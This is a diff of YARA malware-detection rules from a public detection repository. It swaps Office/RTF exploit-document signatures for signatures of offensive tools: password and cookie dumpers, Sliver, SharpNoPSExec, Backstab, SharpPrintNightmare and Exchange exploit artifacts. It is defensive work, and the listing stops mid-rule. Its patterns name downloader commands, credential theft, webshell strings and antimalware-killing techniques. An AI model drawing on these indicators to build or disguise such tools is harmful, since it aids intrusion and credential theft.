+rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Browserpassworddumper : FILE
 {
 	meta:
-		description = "detects CVE-2017-8759 or CVE-2017-8570 weaponized RTF documents."
+		description = "Detects SecurityXploded Browser Password Dumper tool"
 		author = "ditekSHen"
-		id = "e8fd1231-3ef5-5b0b-987c-f55337804da3"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "ce90ef96-43c0-5d68-ba7d-21aafb3f754b"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L250-L282"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L726-L737"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a1f4c833f0132dcbe2b3677d6ac0f3597c152702515375d60d4332c21183bd76"
+		logic_hash = "b3c6e9b393c244c7bf6489f54ebd622a09da050a65d6dbde325d5bcd7d85f39a"
 		score = 75
 		quality = 75
-		tags = "CVE-2017-8759, CVE-2017-8570, FILE"
+		tags = "FILE"
 
 	strings:
-		$clsid1 = { 00 03 00 00 00 00 00 00 c0 00 00 00 00 00 00 46 }
-		$clsid2 = "0003000000000000c000000000000046" ascii nocase
-		$clsid3 = "4f4c45324c696e6b" ascii nocase
-		$clsid4 = "OLE2Link" ascii nocase
-		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
-		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
-		$ole3 = "64306366313165306131623131616531" ascii
-		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
-		$ole5 = { 64 30 63 66 [0-2] 31 31 65 30 61 31 62 31 31 61 65 31 }
-		$ole6 = "D0cf11E" ascii nocase
-		$obj1 = "\\objhtml" ascii
-		$obj2 = "\\objdata" ascii
-		$obj3 = "\\objupdate" ascii
-		$obj4 = "\\objemb" ascii
-		$obj5 = "\\objautlink" ascii
-		$obj6 = "\\objlink" ascii
-		$obj7 = "\\mmath" ascii
-		$obj8 = "\\objclass htmlfile" ascii
-		$sct1 = { 33 (43|63) (3533|3733) (3433|3633) (3532|3732) (3439|3639)( 3530|3730) (3534|3734) (3443|3643) (3435|3635) (3534|3734) }
-		$sct2 = { (3737|3537) (3733|3533) (3633|3433) (3732|3532) (3639|3439) (3730|3530) (3734|3534) (3245|3265) (3733|3533) (3638|3438) (3635|3435) (3643|3443) (3643|3443) }
+		$s1 = "\\projects\\windows\\BrowserPasswordDump\\Release\\FireMaster.pdb" ascii
+		$s2 = "%s: Dumping passwords" fullword ascii
+		$s3 = "%s - Found login data file...dumping the passwords from file %s" fullword ascii
+		$s4 = "%s Dumping secrets from login json file %s" fullword ascii
 
 	condition:
-		uint32(0)==0x74725c7b and 1 of ($clsid*) and 1 of ($ole*) and 1 of ($obj*) and 1 of ($sct*)
+		uint16(0)==0x5a4d and 3 of them
 }
-rule DITEKSHEN_INDICATOR_RTF_Embedded_Excel_Sheetmacroenabled : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Ftppassworddumper : FILE
 {
 	meta:
-		description = "Detects RTF documents embedding an Excel sheet with macros enabled. Observed in exploit followed by dropper behavior"
+		description = "Detects SecurityXploded FTP Password Dumper tool"
 		author = "ditekSHen"
-		id = "342d10b3-61d2-5fcb-8f4f-1fe45049257b"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "d876c201-b527-531c-9563-0b1a1c6334cb"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L284-L308"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L739-L750"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "cc3b52e549c2697c6e0a2fea365d193311d90d26854bd2fe321aa26c118975a0"
+		logic_hash = "941bfb9b1ce71252c5aa05bd654bdcf1af6cc1d5f720bc2c239e17454f15beda"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$ex1 = "457863656c2e53686565744d6163726f456e61626c65642e" ascii nocase
-		$ex2 = "0002083200000000c000000000000046" ascii nocase
-		$ex3 = "Excel.SheetMacroEnabled." ascii
-		$ole1 = { d0 cf 11 e0 a1 b1 1a e1 }
-		$ole2 = "d0cf11e0a1b11ae1" ascii nocase
-		$ole3 = "64306366313165306131623131616531" ascii
-		$ole4 = "640a300a630a660a310a310a650a300a610a310a620a310a310a610a650a31"
-		$obj1 = "\\objhtml" ascii
-		$obj2 = "\\objdata" ascii
-		$obj3 = "\\objupdate" ascii
-		$obj4 = "\\objemb" ascii
-		$obj5 = "\\objautlink" ascii
-		$obj6 = "\\objlink" ascii
-		$obj7 = "\\mmath" ascii
+		$s1 = "\\projects\\windows\\FTPPasswordDump\\Release\\FireMaster.pdb" ascii
+		$s2 = "//Dump all the FTP passwords to a file \"c:\\passlist.txt\"" ascii
+		$s3 = "//Dump all the FTP passwords to console" ascii
+		$s4 = "FTP Password Dump" fullword wide
 
 	condition:
-		uint32(0)==0x74725c7b and (1 of ($ex*) and 1 of ($ole*) and 2 of ($obj*))
+		uint16(0)==0x5a4d and 3 of them
 }
-rule DITEKSHEN_INDICATOR_OLE_Metadatacmd : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PWS_Securityxploded_Emailpassworddumper : FILE
 {
 	meta:
-		description = "Detects OLE documents with Windows command-line utilities commands (certutil, powershell, etc.) stored in the metadata (author, last modified by, etc.)."
+		description = "Detects SecurityXploded Email Password Dumper tool"
 		author = "ditekSHen"
-		id = "63b23630-b344-5fba-95f4-950d072beaff"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "25e140de-4a0a-5d4f-a93f-a414b9879f2b"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L310-L329"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L752-L764"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0562d026a1ad4510310ebff5da154064f92afc7bf714973f7de362435476772c"
+		logic_hash = "7f07611385d45bf45bfb8ee95e56febfb992fb7b416321c5b590878636a5c1b7"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$cmd1 = { 00 1E 00 00 00 [1-4] 00 00 (63|43) (6D|4D) (64|44) (00|20) }
-		$cmd2 = { 00 1E 00 00 00 [1-4] 00 00 (6D|4D) (73|53) (68|48) (74|54) (61|41) (00|20) }
-		$cmd3 = { 00 1E 00 00 00 [1-4] 00 00 (77|57) (73|53) (63|43) (72|52) (69|49) (70|50) (74|54) (00|20) }
-		$cmd4 = { 00 1E 00 00 00 [1-4] 00 00 (63|42) (65|45) (72|52) (74|54) (75|55) (74|54) (69|49) (6C|4C) (00|20) }
-		$cmd5 = { 00 1E 00 00 00 [1-4] 00 00 (70|50) (6F|4F) (77|57) (65|45) (72|52) (73|43) (68|48) (65|45) (6C|4C) (6C|4C) (00|20) }
-		$cmd6 = { 00 1E 00 00 00 [1-4] 00 00 (6E|4E) (65|45) (74|54) 2E (77|57) (65|45) (62|42) (63|43) (6C|4C) (69|49) (65|45) (6E|4E) (74|54) (00|20) }
+		$s1 = "\\projects\\windows\\EmailPasswordDump\\Release\\FireMaster.pdb" ascii
+		$s2 = "//Dump all the Email passwords to a file \"c:\\passlist.txt\"" ascii
+		$s3 = "EmailPasswordDump" fullword wide
+		$s4 = "//Dump all the Email passwords to console" ascii
+		$s5 = "Email Password Dump" fullword wide
 
 	condition:
-		uint16(0)==0xcfd0 and any of them
+		uint16(0)==0x5a4d and 3 of them
 }
-rule DITEKSHEN_INDICATOR_RTF_Equation_Bitsadmin_Downloader : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_PET_Sharpsphere : FILE
 {
 	meta:
-		description = "Detects RTF documents that references both Microsoft Equation Editor and BITSAdmin. Common exploit + dropper behavior."
+		description = "Detects SharpSphere red teamers tool to interact with the guest operating systems of virtual machines managed by vCenter"
 		author = "ditekSHen"
-		id = "e96a6f18-9a5e-58ca-829e-c82b444ad403"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "878b5174-2368-5fc8-9573-7b2759cab409"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L403-L426"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L766-L783"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "39a07a0af243e929a6b3df48b6cf8a9d30bc8ef9e7deac494348945427b015e7"
+		logic_hash = "aae9355fcc7a6b5faf3807c85983032519550e936d5660c823d13731083be512"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
-		snort2_sid = "910002-910003"
-		snort3_sid = "910001"
-		clamav_sig = "INDICATOR.RTF.EquationBITSAdminDownloader"
 
 	strings:
-		$eq = "0200000002CE020000000000C000000000000046" ascii nocase
-		$ba = "6269747361646d696e" ascii nocase
-		$obj1 = "\\objhtml" ascii
-		$obj2 = "\\objdata" ascii
-		$obj3 = "\\objupdate" ascii
-		$obj4 = "\\objemb" ascii
-		$obj5 = "\\objautlink" ascii
-		$obj6 = "\\objlink" ascii
-		$obj7 = "\\mmath" ascii
+		$s1 = "get_virtualExecUsage" fullword ascii
+		$s2 = "Command to execute" fullword ascii
+		$s3 = "<guestusername>k__" ascii
+		$s4 = ".VirtualMachineDeviceRuntimeInfoVirtualEthernetCardRuntimeState" ascii
+		$s5 = "datastoreUrl" ascii
+		$s6 = "SharpSphere.vSphere." ascii
+		$s7 = "HelpText+vCenter SDK URL, i.e. https://127.0.0.1/sdk" ascii
+		$s8 = "[x] Execution finished, attempting to retrieve the results" fullword wide
+		$s9 = "C:\\Windows\\System32\\cmd.exe" fullword wide
+		$s10 = "C:\\Users\\Public\\" fullword wide
 
 	condition:
-		uint32(0)==0x74725c7b and (($eq and $ba) and 1 of ($obj*))
+		uint16(0)==0x5a4d and 4 of them
 }
-rule DITEKSHEN_INDICATOR_RTF_Equation_Certutil_Downloader : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_Exchangeexploit : FILE
 {
 	meta:
-		description = "Detects RTF documents that references both Microsoft Equation Editor and CertUtil. Common exploit + dropper behavior."
+		description = "Hunt for executables potentially embedding Exchange Server exploitation artificats"
 		author = "ditekSHen"
-		id = "a47f31f9-91fc-5009-8aff-2b9e334c3139"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "429f738a-009a-5326-92e0-bdc907be96f2"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L428-L451"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L785-L798"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "d6c62957ce40ed755a84bd9aa8900e4990c466097d6df55c539b289bf50fe94e"
+		logic_hash = "4b0d22a296cab6591d63568aa44845ef7fcc413d45c368a712928411d11a8177"
 		score = 75
-		quality = 75
+		quality = 69
 		tags = "FILE"
-		snort2_sid = "910006-910007"
-		snort3_sid = "910003"
-		clamav_sig = "INDICATOR.RTF.EquationCertUtilDownloader"
 
 	strings:
-		$eq = "0200000002CE020000000000C000000000000046" ascii nocase
-		$cu = "636572747574696c" ascii nocase
-		$obj1 = "\\objhtml" ascii
-		$obj2 = "\\objdata" ascii
-		$obj3 = "\\objupdate" ascii
-		$obj4 = "\\objemb" ascii
-		$obj5 = "\\objautlink" ascii
-		$obj6 = "\\objlink" ascii
-		$obj7 = "\\mmath" ascii
+		$s1 = "ecp/default.flt?" ascii wide nocase
+		$s2 = "owa/auth/logon.aspx?" ascii wide nocase
+		$s3 = "X-AnonResource-Backend" ascii wide
+		$s4 = "EWS/Exchange.asmx?" ascii wide nocase
+		$s5 = "X-BEResource" ascii wide
+		$s6 = "https://%s/owa/auth/" ascii wide
 
 	condition:
-		uint32(0)==0x74725c7b and (($eq and $cu) and 1 of ($obj*))
+		( uint16(0)==0x5a4d or uint16(0)==0x457f) and 5 of them
 }
-rule DITEKSHEN_INDICATOR_RTF_Equation_Powershell_Downloader : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_Goclr : FILE
 {
 	meta:
-		description = "Detects RTF documents that references both Microsoft Equation Editor and PowerShell. Common exploit + dropper behavior."
+		description = "Detects binaries utilizing Go-CLR for hosting the CLR in a Go process and using it to execute a DLL from disk or an assembly from memory"
 		author = "ditekSHen"
-		id = "5d1d65ef-e183-5a0d-a0fa-d0d5f09f21a1"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "21766cad-17dd-525a-9ebe-cd90e892cff1"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L453-L476"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L800-L814"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "0b8b9b7b40f8b4d659de9e025a65d5c6b64c6066bb618a3e7ed3c318f70befe5"
+		logic_hash = "a2a79793b1f530bcf9f79983f29a655f270cf0147606690b19eaeb82d4bd1f0d"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "910004-910005"
-		snort3_sid = "910002"
-		clamav_sig = "INDICATOR.RTF.EquationPowerShellDownloader"
 
 	strings:
-		$eq = "0200000002CE020000000000C000000000000046" ascii nocase
-		$ps = "706f7765727368656c6c" ascii nocase
-		$obj1 = "\\objhtml" ascii
-		$obj2 = "\\objdata" ascii
-		$obj3 = "\\objupdate" ascii
-		$obj4 = "\\objemb" ascii
-		$obj5 = "\\objautlink" ascii
-		$obj6 = "\\objlink" ascii
-		$obj7 = "\\mmath" ascii
+		$s1 = "github.com/ropnop/go-clr.(*IC" ascii
+		$s2 = "EnumKeyExWRegEnumValueWRegOpenKeyExWRtlCopyMemoryRtlGetVersionShellExecuteWStartServiceW" ascii
+		$c1 = "ICorRuntimeHost" ascii wide
+		$c2 = "CLRCreateInstance" ascii wide
+		$c3 = "ICLRRuntimeInfo" ascii wide
+		$c4 = "ICLRMetaHost" ascii wide
+		$go = "Go build ID:" ascii wide
 
 	condition:
-		uint32(0)==0x74725c7b and (($ps and $eq) and 1 of ($obj*))
+		uint16(0)==0x5a4d and all of ($s*) or (2 of ($c*) and $go)
 }
-rule DITEKSHEN_INDICATOR_RTF_LNK_Shell_Explorer_Execution : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_Edgecookiesview : FILE
 {
 	meta:
-		description = "detects RTF files with Shell.Explorer.1 OLE objects with embedded LNK files referencing an executable."
+		description = "Detects EdgeCookiesView"
 		author = "ditekSHen"
-		id = "2cac4dd8-086a-5220-a658-94cedd9cf7c3"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "42c6eb2e-bf5c-5956-9009-c29551ce715d"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L478-L492"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L833-L847"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "4c11a37425e260692e11dc8fca317611106245d1590081a7038036ad568702f8"
+		logic_hash = "9ba6d416e02c1958806356c67636609dcca758da9f7e3d1fc15244cc5ff038fc"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$clsid = "c32ab2eac130cf11a7eb0000c05bae0b" ascii nocase
-		$lnk_header = "4c00000001140200" ascii nocase
-		$http_url = "6800740074007000" ascii nocase
-		$file_url = "660069006c0065003a" ascii nocase
+		$s1 = "AddRemarkCookiesTXT" fullword wide
+		$s2 = "# Netscape HTTP Cookie File" fullword wide
+		$s3 = "/scookiestxt" fullword wide
+		$s4 = "/deleteregkey" fullword wide
+		$s5 = "Load cookies from:" wide
+		$s6 = "Old cookies folder of Edge/IE" wide
+		$pdb = "\\EdgeCookiesView\\Release\\EdgeCookiesView.pdb" ascii
 
 	condition:
-		uint32(0)==0x74725c7b and filesize <1500KB and $clsid and $lnk_header and ($http_url or $file_url)
+		uint16(0)==0x5a4d and (5 of ($s*) or (($pdb) and 2 of ($s*)))
 }
-rule DITEKSHEN_INDICATOR_RTF_Forms_HTML_Execution : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_Sharpnopsexec : FILE
 {
 	meta:
-		description = "detects RTF files with Forms.HTML:Image.1 or Forms.HTML:Submitbutton.1 OLE objects referencing file or HTTP URLs."
+		description = "Detects SharpNoPSExec"
 		author = "ditekSHen"
-		id = "26b21c94-9192-53be-808b-b553f87769e1"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "10898364-6d77-5127-a16b-5fd3b1c652d5"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L494-L508"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L849-L864"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "5e8a2072971c40d6fbc0e0265a9adfbe4faa04d0f3c6962fda443da33aa06906"
+		logic_hash = "c1d76639e7b6464d302729b48bbcd810216132868035904bb9866e7b31ccfac2"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$img_clsid = "12d11255c65ccf118d6700aa00bdce1d" ascii nocase
-		$sub_clsid = "10d11255c65ccf118d6700aa00bdce1d" ascii nocase
-		$http_url = "6800740074007000" ascii nocase
-		$file_url = "660069006c0065003a" ascii nocase
+		$s1 = "|-> Service" wide
+		$s2 = "authenticated as" wide
+		$s3 = "ImpersonateLoggedOnUser failed. Error:{0}" wide
+		$s4 = "uPayload" fullword ascii
+		$s5 = "pcbBytesNeeded" fullword ascii
+		$s6 = "SharpNoPSExec" ascii wide
+		$pdb1 = "SharpNoPSExec\\obj\\Debug\\SharpNoPSExec.pdb" ascii
+		$pdb2 = "SharpNoPSExec\\obj\\Release\\SharpNoPSExec.pdb" ascii
 
 	condition:
-		uint32(0)==0x74725c7b and filesize <1500KB and ($img_clsid or $sub_clsid) and ($http_url or $file_url)
+		uint16(0)==0x5a4d and (4 of ($s*) or (1 of ($pdb*) and 1 of ($s*)))
 }
-rule DITEKSHEN_INDICATOR_PUB_MSIEXEC_Remote : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_Chromecookiesview : FILE
 {
 	meta:
-		description = "detects VB-enable Microsoft Publisher files utilizing Microsoft Installer to retrieve remote files and execute them"
+		description = "Detects ChromeCookiesView"
 		author = "ditekSHen"
-		id = "518db2bb-174b-54c4-b330-1e8a8e36265d"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "c1b89468-edf2-59d1-89b3-5822fa19d6ab"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L510-L524"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L866-L880"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "be5407e6e6e21e77f6de1d3a378996bfc6ce4326986aa03eb152e772bb495184"
+		logic_hash = "81acd0978fc03525e7092ab51c681b61f9de0252066ce871298e2cd96b1d3024"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "Microsoft Publisher" ascii
-		$s2 = "msiexec.exe" ascii
-		$s3 = "Document_Open" ascii
-		$s4 = "/norestart" ascii
-		$s5 = "/i http" ascii
-		$s6 = "Wscript.Shell" fullword ascii
-		$s7 = "\\VBE6.DLL#" wide
+		$s1 = "AddRemarkCookiesTXT" fullword wide
+		$s2 = "Decrypt cookies" wide
+		$s3 = "/scookiestxt" fullword wide
+		$s4 = "/deleteregkey" fullword wide
+		$s5 = "Cookies.txt Format" wide
+		$s6 = "# Netscape HTTP Cookie File" wide
+		$pdb = "\\ChromeCookiesView\\Release\\ChromeCookiesView.pdb" ascii
 
 	condition:
-		uint16(0)==0xcfd0 and 6 of them
+		uint16(0)==0x5a4d and (5 of ($s*) or (($pdb) and 2 of ($s*)))
 }
-rule DITEKSHEN_INDICATOR_RTF_Ancalog_Exploit_Builder_Document : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_Sliver : FILE
 {
 	meta:
-		description = "Detects documents generated by Phantom Crypter/Ancalog"
+		description = "Detects Sliver implant cross-platform adversary emulation/red team"
 		author = "ditekSHen"
-		id = "01e7f949-8ced-5355-978c-34d6e639e61a"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "e0c5404b-8e6b-5c3a-9e37-56012c3802dd"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L526-L538"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L882-L900"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "e458be78ca8975d067110dc38119437b3ffe55afdbfdab47468c9ed74bba9f9d"
+		logic_hash = "4f9442b74c84c7b4a8fcf93de2919d12efe2f41d0b4e8514b43822fba0962af2"
 		score = 75
 		quality = 75
 		tags = "FILE"
-		snort2_sid = "910000-910001"
-		snort3_sid = "910000"
-		clamav_sig = "INDICATOR.RTF.AncalogExploitBuilderDocument"
 
 	strings:
-		$builder1 = "{\\*\\ancalog" ascii
-		$builder2 = "\\ancalog" ascii
+		$x1 = "github.com/bishopfox/sliver/protobuf/sliverpbb." ascii
+		$s1 = ".commonpb.ResponseR" ascii
+		$s2 = ".PortfwdProtocol" ascii
+		$s3 = ".WGTCPForwarder" ascii
+		$s4 = ".WGSocksServerR" ascii
+		$s5 = ".PivotEntryR" ascii
+		$s6 = ".BackdoorReq" ascii
+		$s7 = ".ProcessDumpReq" ascii
+		$s8 = ".InvokeSpawnDllReq" ascii
+		$s9 = ".SpawnDll" ascii
+		$s10 = ".TCPPivotReq" ascii
 
 	condition:
-		uint32(0)==0x74725c7b and 1 of ($builder*)
+		( uint16(0)==0x5a4d or uint16(0)==0x457f or uint16(0)==0xfacf) and (1 of ($x*) or 5 of ($s*))
 }
-rule DITEKSHEN_INDICATOR_RTF_Threadkit_Exploit_Builder_Document : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_Owlproxy : FILE
 {
 	meta:
-		description = "Detects vaiations of RTF documents generated by ThreadKit builder."
+		description = "Hunt for OwlProxy"
 		author = "ditekSHen"
-		id = "f4a4e7f0-ea2f-523f-9634-a939dc90706e"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "86e2144e-c5d3-5bd6-b287-1157066126a3"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L540-L557"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L902-L921"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "f2308ac6ae5345e0c783871dd6b471397ec83ba7194db5cc74c8984d84c2c0c2"
+		logic_hash = "fa7dd5eeb9799fd651317ceecbed6c960f16c387dc18723409053e44cd281582"
 		score = 75
-		quality = 75
+		quality = 50
 		tags = "FILE"
 
 	strings:
-		$obj1 = "\\objhtml" ascii
-		$obj2 = "\\objdata" ascii
-		$obj3 = "\\objupdate" ascii
-		$obj4 = "\\objemb" ascii
-		$obj5 = "\\objautlink" ascii
-		$obj6 = "\\objlink" ascii
-		$obj7 = "\\mmath" ascii
-		$pat1 = /\\objupdate\\v[\\\s\n\r]/ ascii
+		$is1 = "call_new command: " wide
+		$is2 = "call_proxy cmd: " wide
+		$is3 = "download_file: " wide
+		$is4 = "cmdhttp_run" wide
+		$is5 = "sub_proxyhttp_run" wide
+		$is6 = "proxyhttp_run" wide
+		$is7 = "webshell_run" wide
+		$is8 = "/exchangetopicservices/" fullword wide
+		$is9 = "c:\\windows\\system32\\wmipd.dll" fullword wide
+		$iu1 = "%s://+:%d%s" wide
+		$iu2 = "%s://+:%d%spp/" wide
+		$iu3 = "%s://+:%d%spx/" wide
 
 	condition:
-		uint32(0)==0x74725c7b and 2 of ($obj*) and 1 of ($pat*)
+		uint16(0)==0x5a4d and 6 of ($is*) or ( all of ($iu*) and 2 of ($is*))
 }
-rule DITEKSHEN_INDICATOR_XML_Legacydrawing_Autoload_Document : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_Backstab : FILE
 {
 	meta:
-		description = "detects AutoLoad documents using LegacyDrawing"
+		description = "Detect Backstab tool capable of killing antimalware protected processes by leveraging sysinternals Process Explorer (ProcExp) driver"
 		author = "ditekSHen"
-		id = "ce116601-7048-5a3f-9b73-5127ca3b359e"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "1e514d03-9b78-5e75-9a31-02c0413e23a7"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L559-L569"
+		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_tools.yar#L923-L939"
 		license_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/LICENSE.txt"
-		logic_hash = "a038636f5e8e7837c2209072f1659b921c8a9a48d4ed153e735915cf1f7f3fcc"
+		logic_hash = "d25c3ff4d7c120fdf7c275d11da7a321bcbdb275dcfaa699b5bb4bd66167ec92"
 		score = 75
 		quality = 75
 		tags = "FILE"
 
 	strings:
-		$s1 = "<legacyDrawing r:id=\"" ascii
-		$s2 = "<oleObject progId=\"" ascii
-		$s3 = "autoLoad=\"true\"" ascii
+		$s1 = "NtLoadDriver: %x" fullword ascii
+		$s2 = "POSIXLY_CORRECT" fullword ascii
+		$s3 = "\\\\.\\PROCEXP" ascii
+		$s4 = "ProcExpOpenProtectedProcess.DeviceIoControl: %" ascii
+		$s5 = "ProcExpKillHandle.DeviceIoControl" ascii
+		$s6 = "[%#llu] [%ws]: %ws" fullword ascii
+		$s7 = "D:P(A;;GA;;;SY)(A;;GRGWGX;;;BA)(A;;GR" wide
+		$s8 = "-k -d c:\\\\driver.sys" ascii
+		$s9 = "backstab.exe -" ascii
 
 	condition:
-		uint32(0)==0x6d783f3c and all of ($s*)
+		uint16(0)==0x5a4d and 6 of them
 }
-rule DITEKSHEN_INDICATOR_XML_OLE_Autoload_Document : FILE
+import "pe"
+
+rule DITEKSHEN_INDICATOR_TOOL_EXP_Sharpprintnightmare : FILE
 {
 	meta:
-		description = "detects AutoLoad documents using OLE Object"
+		description = "Detect SharpPrintNightmare"
 		author = "ditekSHen"
-		id = "b3d682c3-641a-554a-8607-e99d07e9a57d"
-		date = "2024-02-22"
-		modified = "2024-02-22"
+		id = "15f52fce-27cc-52e7-91d5-7e2f6db5b596"
+		date = "2024-01-23"
+		modified = "2024-01-23"
 		reference = "https://github.com/ditekshen/detection"
-		source_url = "https://github.com/ditekshen/detection/blob/6419013759723bbe4d5739312c9bc0a339259bc4/yara/indicator_office.yar#L571-L581"
